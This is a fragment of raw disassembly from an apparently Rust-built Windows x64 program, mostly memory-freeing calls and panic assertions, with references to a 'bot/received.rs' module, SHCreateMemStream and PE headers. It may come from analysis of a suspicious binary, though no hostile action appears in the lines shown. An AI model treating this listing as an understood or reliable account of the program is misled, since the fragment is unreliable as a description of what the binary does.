mov ecx, 1
mov edx, 0x91
call fcn.140083a40
mov ecx, 1
mov rdx, r15
call fcn.140083a40
lea rcx, str._rustc_f6e511eec7342f59a25f7c0534f1dbea00d01b14library_alloc_srccollections_btreemap.rs
call fcn.140084030
xor ecx, ecx
mov rdx, qword [rsp + 0x750]
call fcn.140083a40
xor ecx, ecx
mov rdx, qword [rsp + 0x748]
call fcn.140083a40
mov ecx, 8
mov edx, 0x18
call fcn.140083a60
mov ecx, 1
mov edx, 0x361
call fcn.140083a40
xor ecx, ecx
mov rdx, qword [rsp + 0x740]
call fcn.140083a40
xor ecx, ecx
mov rdx, qword [rsp + 0x738]
call fcn.140083a40
xor ecx, ecx
mov rdx, qword [rsp + 0x730]
call fcn.140083a40
xor ecx, ecx
mov rdx, qword [rsp + 0x728]
call fcn.140083a40
xor ecx, ecx
mov rdx, qword [rsp + 0x720]
call fcn.140083a40
xor ecx, ecx
mov rdx, qword [rsp + 0x718]
call fcn.140083a40
lea rcx, str.assertion_failed:_edge.height__self.node.height___1
lea r8, str._rustc_f6e511eec7342f59a25f7c0534f1dbea00d01b14library_alloc_srccollections_btree_node.rsassertion_failed:_edge.height__self.height___1
mov edx, 0x35
call fcn.140083ca0
mov ecx, 8
mov edx, 0x40
call fcn.140083a40
lea rcx, [0x1400b47b8]
lea r8, str._rustc_f6e511eec7342f59a25f7c0534f1dbea00d01b14library_alloc_srccollections_btree_node.rsassertion_failed:_edge.height__self.height___1
mov edx, 0x20
call fcn.140083ca0
lea r8, str._rustc_f6e511eec7342f59a25f7c0534f1dbea00d01b14library_alloc_srccollections_btree_node.rsassertion_failed:_edge.height__self.height___1
mov edx, SHCreateMemStream
call fcn.140083c30
lea rcx, str.assertion_failed:_src.len____dst.len__
lea r8, str._rustc_f6e511eec7342f59a25f7c0534f1dbea00d01b14library_alloc_srccollections_btree_node.rsassertion_failed:_edge.height__self.height___1
mov edx, 0x28
call fcn.140083ca0
xor ecx, ecx
mov rdx, qword [rsp + 0x618]
call fcn.140083a40
mov ecx, 1
mov rdx, r12
call fcn.140083a40
lea r8, str.src_bot_received.rs
jmp 0x140018ec7
lea r8, str.src_bot_received.rs
mov ecx, 1
call fcn.140083b80
lea rax, [0x14008b458]
jmp 0x1400190e9
xor ecx, ecx
mov rdx, qword [rsp + 0x7e0]
call fcn.140083a40
lea rax, [0x14008b4c8]
mov edx, pe_nt_image_headers64
mov rcx, r8
mov r8, rax
call fcn.140083c30
xor ecx, ecx
mov rdx, qword [rsp + 0x7d8]
call fcn.140083a40
xor ecx, ecx
mov rdx, qword [rsp + 0x710]
call fcn.140083a40
xor ecx, ecx
mov rdx, qword [rsp + 0x7d0]
call fcn.140083a40
xor ecx, ecx
mov rdx, qword [rsp + 0x610]
call fcn.140083a40
xor ecx, ecx
mov rdx, qword [rsp + 0x608]
call fcn.140083a40
mov ecx, 1
mov rdx, rbp
call fcn.140083a40
lea rcx, str._rustc_f6e511eec7342f59a25f7c0534f1dbea00d01b14library_alloc_srccollections_btreemapentry.rs8__v_
call fcn.140084030
mov ecx, 1
mov rdx, rdi
call fcn.140083a40
mov ecx, 1
mov rdx, rbx
call fcn.140083a40
mov ecx, 1
mov rdx, r14
call fcn.140083a40
mov ecx, 1
mov rdx, rsi
call fcn.140083a40
int3